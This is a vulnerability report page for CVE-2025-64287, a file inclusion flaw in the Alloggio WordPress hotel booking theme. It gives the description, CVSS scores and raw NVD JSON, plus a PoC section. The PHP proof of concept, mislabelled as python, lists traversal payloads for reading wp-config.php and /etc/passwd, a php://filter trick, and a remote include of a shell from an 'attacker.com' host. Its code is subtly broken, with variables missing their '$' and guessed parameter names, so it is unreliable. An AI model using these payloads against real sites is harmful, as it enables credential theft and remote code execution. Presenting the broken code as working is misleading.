Security Vulnerability Report
中文
CVE-2025-64287 CVSS 8.1 HIGH

CVE-2025-64287

Published: 2025-11-06 16:16:14
Last Modified: 2026-04-27 16:16:40

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Edge-Themes Alloggio - Hotel Booking alloggio allows PHP Local File Inclusion.This issue affects Alloggio - Hotel Booking: from n/a through <= 1.8.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Alloggio Hotel Booking Theme <= 1.8 (所有1.8及以下版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-64287 PoC - Alloggio Theme Local File Inclusion * Target: WordPress Alloggio Hotel Booking Theme <= 1.8 * Type: Local File Inclusion / Remote File Inclusion * Author: Security Researcher * Reference: https://patchstack.com/database/Wordpress/Theme/alloggio */ // Target URL - Replace with actual vulnerable endpoint $target = 'http://target-site.com/wp-content/themes/alloggio/'; // Common vulnerable parameters to test $vulnerable_params = [ 'file', 'template', 'page', 'view', 'action', 'include' ]; // Local File Inclusion - Read sensitive files effective_url = $target . '?file=../../../../wp-config.php'; effective_url = $target . '?file=/etc/passwd'; effective_url = $target . '?file=php://filter/convert.base64-encode/resource=../../wp-config.php'; // Remote File Inclusion (if allow_url_include is On) $malicious_url = $target . '?file=http://attacker.com/shell.txt'; // Using curl to exploit effective_url = "curl -i -X GET '{$target}?file=../../../../wp-config.php'"; echo "Testing CVE-2025-64287 on: {$target}\n"; echo "Try accessing:\n"; echo "1. Local file: {$target}?file=../../../../wp-config.php\n"; echo "2. System file: {$target}?file=/etc/passwd\n"; echo "3. Base64 encoded: {$target}?file=php://filter/convert.base64-encode/resource=../../wp-config.php\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64287", "sourceIdentifier": "[email protected]", "published": "2025-11-06T16:16:14.493", "lastModified": "2026-04-27T16:16:40.043", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Edge-Themes Alloggio - Hotel Booking alloggio allows PHP Local File Inclusion.This issue affects Alloggio - Hotel Booking: from n/a through <= 1.8."}, {"lang": "es", "value": "Control inadecuado del nombre de fichero para la declaración Include/Require en un programa PHP Vulnerabilidad de control \n('Inclusión Remota de Ficheros PHP') en Edge-Themes Alloggio - Hotel Booking alloggio permite Inclusión Local de Ficheros PHP. Este problema afecta a Alloggio - Hotel Booking: desde n/a hasta menor igual que 1.8."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/alloggio/vulnerability/wordpress-alloggio-hotel-booking-theme-theme-1-8-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}